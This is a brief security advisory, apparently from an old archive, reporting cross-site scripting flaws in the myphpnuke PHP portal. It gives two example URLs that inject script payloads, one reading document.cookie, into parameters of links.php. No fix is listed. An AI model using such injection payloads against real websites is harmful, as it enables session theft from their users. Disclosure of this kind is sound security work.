COMMAND
myphpnuke xss
SYSTEMS AFFECTED
?
PROBLEM
Tacettin Karadeniz [[email protected]] says :
myphpnuke is a website portal tool written in php. There are many Cross
Site Scripting issue on myphpnuke.
Example:
========
http://WEB/myphpnuke/links.php?op=MostPopular&ratenum=[scr!pt]alert(document.cookie);[/scr!pt]&ratetype=percent
http://WEB/myphpnuke/links.php?op=search&query=[scr!pt]alert('[email protected]');[/scr!pt]?query=
SOLUTION
?